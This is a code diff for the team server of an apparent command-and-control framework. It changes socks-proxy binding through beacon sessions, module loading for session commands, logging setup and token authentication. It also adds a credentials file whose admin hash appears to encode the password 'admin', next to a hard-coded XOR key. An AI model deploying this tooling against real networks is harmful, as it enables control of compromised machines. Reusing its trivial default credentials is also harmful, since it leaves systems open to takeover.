about setting the sleep time of the beacon to 0.001 to force a good throughput"); - *response = responseTmp; - return grpc::Status::OK; - } - } - } + m_logger->info("Socks server stoped"); + responseTmp.set_result("Socks server stoped"); + *response = responseTmp; + return grpc::Status::OK; + } + else if (cmd == "bind") + { + if (!m_isSocksServerRunning) + { + m_logger->warn("Error: Socks server not running"); + responseTmp.set_result("Error: Socks server not running"); + *response = responseTmp; + return grpc::Status::OK; + } + if (m_isSocksServerBinded) + { + m_logger->warn("Error: Socks server already bind"); + responseTmp.set_result("Error: Socks server already bind"); + *response = responseTmp; + return grpc::Status::OK; + } + if (splitedCmd.size() == 3) + { + std::string beaconHash = splitedCmd[2]; + for (int i = 0; i < m_listeners.size(); i++) + { + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::string hash = session->getBeaconHash(); + if (hash.find(beaconHash) != std::string::npos && !session->isSessionKilled()) + { + m_socksListener = m_listeners[i]; + m_socksSession = m_listeners[i]->getSessionPtr(kk); - m_logger->info("Error: Socks server bind failed, session not found"); - responseTmp.set_result("Error: Socks server bind failed, session not found"); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(cmd == "unbind") - { - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); - m_socksThread.reset(nullptr); + m_socksThread = std::make_unique(&TeamServer::socksThread, this); - m_logger->info("Socks server successfully unbinding"); - responseTmp.set_result("Socks server successfully unbinding"); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - m_logger->warn("Error: Socks server command not found."); - responseTmp.set_result("Error: Socks server command not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - // TODO add a clean www directory !!! - else - { - responseTmp.set_result("Error: not implemented."); - *response = responseTmp; - return grpc::Status::OK; - } + m_isSocksServerBinded = true; + m_logger->info("Socks server sucessfully binded"); + responseTmp.set_result("Socks server sucessfully binded\nThink about setting the sleep time of the beacon to 0.001 to force a good throughput"); + *response = responseTmp; + return grpc::Status::OK; + } + } + } - *response = responseTmp; + m_logger->warn("Error: Socks server bind failed, session not found"); + responseTmp.set_result("Error: Socks server bind failed, session not found"); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (cmd == "unbind") + { + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); + m_socksThread.reset(nullptr); - return grpc::Status::OK; + m_logger->info("Socks server successfully unbinding"); + responseTmp.set_result("Socks server successfully unbinding"); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + m_logger->warn("Error: Socks server command not found."); + responseTmp.set_result("Error: Socks server command not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + // TODO add a clean www directory !!! + else + { + responseTmp.set_result("Error: not implemented."); + *response = responseTmp; + return grpc::Status::OK; + } + + *response = responseTmp; + + return grpc::Status::OK; } - - -std::string toLower(const std::string& str) +std::string toLower(const std::string& str) { std::string result = str; std::transform(result.begin(), result.end(), result.begin(), - [](unsigned char c) { return std::tolower(c); }); + [](unsigned char c) + { return std::tolower(c); }); return result; } - int TeamServer::prepMsg(const std::string& input, C2Message& c2Message, bool isWindows) { - m_logger->trace("prepMsg"); + m_logger->trace("prepMsg"); - std::vector splitedCmd; - splitInputCmd(input, splitedCmd); + std::vector splitedCmd; + splitInputCmd(input, splitedCmd); - if(splitedCmd.empty()) - return 0; + if (splitedCmd.empty()) + return 0; - int res=0; - string instruction = splitedCmd[0]; - bool isModuleFound=false; - for(int i=0; i= 3 && param.substr(param.size() - 3) == ".so") - { - - } - else if(param.size() >= 4 && param.substr(param.size() - 3) == ".dll") - { + if (param.size() >= 3 && param.substr(param.size() - 3) == ".so") + { + } + else if (param.size() >= 4 && param.substr(param.size() - 3) == ".dll") + { + } + else + { + m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { - } - else - { - m_logger->info("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); - try - { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - - std::string moduleName = entry.path().filename(); - moduleName = moduleName.substr(3); // remove lib - moduleName = moduleName.substr(0, moduleName.length() - 3); // remove .so + std::string moduleName = entry.path().filename(); + moduleName = moduleName.substr(3); // remove lib + moduleName = moduleName.substr(0, moduleName.length() - 3); // remove .so - if (toLower(param) == toLower(moduleName)) - { - if(isWindows) - { - splitedCmd[1] = moduleName; - splitedCmd[1] += ".dll"; - } - else - { - splitedCmd[1] = entry.path().filename(); - } + if (toLower(param) == toLower(moduleName)) + { + if (isWindows) + { + splitedCmd[1] = moduleName; + splitedCmd[1] += ".dll"; + } + else + { + splitedCmd[1] = entry.path().filename(); + } - m_logger->info("Found module to load {0}", splitedCmd[1]); - } - } - } - } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory"); - } - } - } - } - res = m_commonCommands.init(splitedCmd, c2Message, isWindows); - isModuleFound=true; - } - } + m_logger->debug("Found module to load {0}", splitedCmd[1]); + } + } + } + } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory"); + } + } + } + } + res = m_commonCommands.init(splitedCmd, c2Message, isWindows); + isModuleFound = true; + } + } - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - if (toLower(instruction) == toLower((*it)->getName())) - { - splitedCmd[0] = (*it)->getName(); - res = (*it)->init(splitedCmd, c2Message); - isModuleFound=true; - } - } + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if (toLower(instruction) == toLower((*it)->getName())) + { + splitedCmd[0] = (*it)->getName(); + res = (*it)->init(splitedCmd, c2Message); + isModuleFound = true; + } + } - if(!isModuleFound) - { - m_logger->warn("Module {0} not found.", instruction); + if (!isModuleFound) + { + m_logger->warn("Module {0} not found.", instruction); - std::string hint = "Module "; - hint+=instruction; - hint+=" not found."; - c2Message.set_returnvalue(hint); + std::string hint = "Module "; + hint += instruction; + hint += " not found."; + c2Message.set_returnvalue(hint); - res=-1; - } + res = -1; + } - m_logger->trace("prepMsg end"); + m_logger->trace("prepMsg end"); - return res; + return res; } - -int main(int argc, char* argv[]) +int main(int argc, char* argv[]) { std::string configFile = "TeamServerConfig.json"; - if (argc >= 2) - { + if (argc >= 2) + { configFile = argv[1]; } - // + // // Logger - // - std::vector sinks; + // + std::vector sinks; - auto console_sink = std::make_shared(); - console_sink->set_level(spdlog::level::info); + auto console_sink = std::make_shared(); sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - file_sink->set_level(spdlog::level::debug); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024 * 1024 * 10, 3); + sinks.push_back(file_sink); - std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); - logger->set_level(spdlog::level::debug); + std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); - // - // TeamServer Config - // - std::ifstream f(configFile); + // + // TeamServer Config + // + std::ifstream f(configFile); - // Check if the file is successfully opened - if (!f.is_open()) - { + // Check if the file is successfully opened + if (!f.is_open()) + { std::cerr << "Error: Config file '" << configFile << "' not found or could not be opened." << std::endl; return 1; } - json config; - try - { - config = json::parse(f); - } - catch (const json::parse_error& e) - { + json config; + try + { + config = json::parse(f); + } + catch (const json::parse_error& e) + { std::cerr << "Error: Failed to parse JSON in config file '" << configFile << "' - " << e.what() << std::endl; return 1; } - std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); - std::string ServerGRPCPort = config["ServerGRPCPort"].get(); - std::string serverAddress = serverGRPCAdd; - serverAddress += ':'; - serverAddress += ServerGRPCPort; + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); - TeamServer service(config); + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); - // TSL Connection configuration - std::string servCrtFilePath = config["ServCrtFile"].get(); - std::ifstream servCrtFile(servCrtFilePath, std::ios::binary); - if(!servCrtFile.good()) - { - logger->critical("Server ceritifcat file not found."); - return -1; - } - std::string cert(std::istreambuf_iterator(servCrtFile), {}); + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); + logger->set_level(configuredLevel); + logger->flush_on(spdlog::level::warn); - std::string servKeyFilePath = config["ServKeyFile"].get(); - std::ifstream servKeyFile(servKeyFilePath, std::ios::binary); - if(!servKeyFile.good()) - { - logger->critical("Server key file not found."); - return -1; - } - std::string key(std::istreambuf_iterator(servKeyFile), {}); + if (isUnknownLogLevel) + logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); - std::string rootCA = config["RootCA"].get(); - std::ifstream rootFile(rootCA, std::ios::binary); - if(!rootFile.good()) - { - logger->critical("Root CA file not found."); - return -1; - } - std::string root(std::istreambuf_iterator(rootFile), {}); - - grpc::SslServerCredentialsOptions::PemKeyCertPair keycert = + logger->info("TeamServer logging initialized at {} level", spdlog::level::to_string_view(logger->level())); + + std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); + std::string ServerGRPCPort = config["ServerGRPCPort"].get(); + std::string serverAddress = serverGRPCAdd; + serverAddress += ':'; + serverAddress += ServerGRPCPort; + + TeamServer service(config); + + // TSL Connection configuration + std::string servCrtFilePath = config["ServCrtFile"].get(); + std::ifstream servCrtFile(servCrtFilePath, std::ios::binary); + if (!servCrtFile.good()) { - key, - cert - }; + logger->critical("Server ceritifcat file not found."); + return -1; + } + std::string cert(std::istreambuf_iterator(servCrtFile), {}); + + std::string servKeyFilePath = config["ServKeyFile"].get(); + std::ifstream servKeyFile(servKeyFilePath, std::ios::binary); + if (!servKeyFile.good()) + { + logger->critical("Server key file not found."); + return -1; + } + std::string key(std::istreambuf_iterator(servKeyFile), {}); + + std::string rootCA = config["RootCA"].get(); + std::ifstream rootFile(rootCA, std::ios::binary); + if (!rootFile.good()) + { + logger->critical("Root CA file not found."); + return -1; + } + std::string root(std::istreambuf_iterator(rootFile), {}); + + grpc::SslServerCredentialsOptions::PemKeyCertPair keycert = + { + key, + cert}; grpc::SslServerCredentialsOptions sslOps; sslOps.pem_root_certs = root; - sslOps.pem_key_cert_pairs.push_back ( keycert ); + sslOps.pem_key_cert_pairs.push_back(keycert); - // Start GRPC Server - grpc::ServerBuilder builder; - builder.AddListeningPort(serverAddress, grpc::SslServerCredentials(sslOps)); - builder.RegisterService(&service); - builder.SetMaxSendMessageSize(1024 * 1024 * 1024); - builder.SetMaxMessageSize(1024 * 1024 * 1024); - builder.SetMaxReceiveMessageSize(1024 * 1024 * 1024); - std::unique_ptr server(builder.BuildAndStart()); + // Start GRPC Server + grpc::ServerBuilder builder; + builder.AddListeningPort(serverAddress, grpc::SslServerCredentials(sslOps)); + builder.RegisterService(&service); + builder.SetMaxSendMessageSize(1024 * 1024 * 1024); + builder.SetMaxMessageSize(1024 * 1024 * 1024); + builder.SetMaxReceiveMessageSize(1024 * 1024 * 1024); + std::unique_ptr server(builder.BuildAndStart()); - logger->info("Team Server listening on {0}", serverAddress); + logger->info("Team Server listening on {0}", serverAddress); - server->Wait(); + server->Wait(); } - diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 133d088..cdfed32 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -1,4 +1,7 @@ #include +#include +#include +#include #include "listener/ListenerTcp.hpp" #include "listener/ListenerHttp.hpp" @@ -25,34 +28,39 @@ #include "nlohmann/json.hpp" - -class TeamServer final : public teamserverapi::TeamServerApi::Service +class TeamServer final : public teamserverapi::TeamServerApi::Service { public: - explicit TeamServer(const nlohmann::json& config); - ~TeamServer(); + explicit TeamServer(const nlohmann::json& config); + ~TeamServer(); + grpc::Status Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) override; grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); - grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); - grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); - + grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); + grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); + grpc::Status GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); - grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); + grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); - grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); - grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); + grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); + grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); - grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); + grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); + + grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); - grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); - protected: int handleCmdResponse(); bool isListenerAlive(const std::string& listenerHash); - int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows=true); + int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows = true); private: + grpc::Status ensureAuthenticated(grpc::ServerContext* context); + std::string generateToken() const; + std::string hashPassword(const std::string& password) const; + void cleanupExpiredTokens(); + nlohmann::json m_config; std::shared_ptr m_logger; @@ -87,4 +95,11 @@ private: std::unordered_map> m_sentResponses; std::vector m_sentC2Messages; + + std::string m_authCredentialsFile; + std::unordered_map m_userPasswordHashes; + bool m_authEnabled; + std::unordered_map m_activeTokens; + std::chrono::minutes m_tokenValidityDuration; + mutable std::mutex m_authMutex; }; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index a4649f5..d933c96 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -17,6 +17,7 @@ "ServCrtFile": "server.crt", "ServKeyFile": "server.key", "RootCA": "rootCA.crt", + "AuthCredentialsFile": "auth_credentials.json", "xorKey": "dfsdgferhzdzxczevre5595485sdg", "ListenerHttpConfig": { "uri": [ diff --git a/teamServer/teamServer/auth_credentials.json b/teamServer/teamServer/auth_credentials.json new file mode 100644 index 0000000..ee4eedd --- /dev/null +++ b/teamServer/teamServer/auth_credentials.json @@ -0,0 +1,13 @@ +{ + "token_ttl_minutes": 60, + "users": [ + { + "username": "admin", + "password_hash": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + }, + { + "username": "analyst", + "password_hash": "f44ceb062e35dfeea6ed7f8524d53bb0bff19f553e25cae7ef4850e4185ccbba" + } + ] +}